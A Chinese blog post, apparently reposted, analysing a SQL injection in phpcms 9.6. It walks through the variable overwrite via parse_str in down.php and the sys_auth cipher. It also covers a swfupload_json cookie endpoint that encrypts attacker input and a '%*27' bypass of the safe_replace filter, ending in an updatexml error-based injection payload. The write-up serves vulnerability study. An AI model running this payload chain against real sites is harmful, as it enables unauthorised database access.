phpcms9.6 注入分析

phpcms9.6 注入分析

漏洞促发点phpcmsmodulescontentdown.php


    
    $a_k = trim($_GET['a_k']);
    if(!isset($a_k)) showmessage(L('illegal_parameters'));
    $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
    if(empty($a_k)) showmessage(L('illegal_parameters'));
    unset($i,$m,$f);
    parse_str($a_k);
    if(isset($i)) $i = $id = intval($i);
    if(!isset($m)) showmessage(L('illegal_parameters'));
    if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
    if(empty($f)) showmessage(L('url_invalid'));
    $allow_visitor = 1;
    $MODEL = getcache('model','commons');
    $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
    $this->db->table_name = $tablename.'_data';
    $rs = $this->db->get_one(array('id'=>$id)); 
    $siteids = getcache('category_content','commons');
    $siteid = $siteids[$catid];
    $CATEGORYS = getcache('category_content_'.$siteid,'commons');

    $this->category = $CATEGORYS[$catid];
    $this->category_setting = string2array($this->category['setting']);

$a_k = trim($_GET['a_k']);
首先看到的是GET传入了一个参数只是经过了trim消除空格
跟进看这个参数
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

经过了sys_auth处理跟进看看在/phpcms/libs/function/globals.func.php的384到430行


    function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
	$ckey_length = 4;
	$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
	}
    

  • 这是一个phpcms的加密函数,这里就只是单纯的加密,没有进行安全处理

重点是这个parse_str($a_k);

  • 好了明显的变量覆盖函数,$a_k直接GET传入除了加密没有别的处理,这就别的导致变量变成可控的了
    $rs = $this->db->get_one(array('id'=>$id));

  • 这里直接入库


    	function get_one($query)
	{
		$this->querynum++;
	    $rs = $this->conn->Execute($query);
		$r = $this->fetch_array($rs);
		$this->free_result($rs);
		return $r;
	}

  • 这里结果被return1出来了。接下来就是看他如何加密了。

  • 比较懒直接去看别人是怎么处理的~~

看了看veneno师傅的文章 他是直接找到一个能够返回加密数值的点

    
    public static function set_cookie($var, $value = '', $time = 0) {
    $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
    $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
    $var = pc_base::load_config('system','cookie_pre').$var;
    $_COOKIE[$var] = $value;
    if (is_array($value)) {
        foreach($value as $k=>$v) {
            setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
        }
    } else {
        setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
    }
}

  • 然后set_cookie一般能截到cookie

    public function swfupload_json() {
    $arr['aid'] = intval($_GET['aid']);
    $arr['src'] = safe_replace(trim($_GET['src']));
    $arr['filename'] = urlencode(safe_replace($_GET['filename']));
    $json_str = json_encode($arr);
    $att_arr_exist = param::get_cookie('att_json');
    $att_arr_exist_tmp = explode('||', $att_arr_exist);
    if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
        return true;
    } else {
        $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
        param::set_cookie('att_json',$json_str);
        return true;            
    }
}

  • 不过这里要绕过phpcms的安全函数

    function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\','',$string);
    return $string;
}

  • 他这里把'转义了,并且把url编码两次的'也转义了。

  • 看看v师傅的黑科技&id=3%*27and updatexml(1,concat(0x7e,user((),1)%23&catid=1&m=1&modellid=1&f=1

  • 把这个url编码过后传入就绕过了waf

  • %*27这个姿势是真的骚

  • 截取到cookie后就是加密过的上面的语句直接传入就可注入了。

总结一下

  • 因为phpcms搭建需要phpsso有点懒,没有搭建。后面复现过程只是看了一下v师傅的文章。但是这次还是给我了一些思路,首先是变量覆盖导致注入,这个没什么说的。主要是下面的加密算法,v师傅是直接找到一个返回点,比我去写脚本跑快多了~~然后就是这个waf绕过姿势,感觉以后会有用上的地方,自己还需要多测测。
原文地址:https://www.cnblogs.com/wangshuwin/p/7493573.html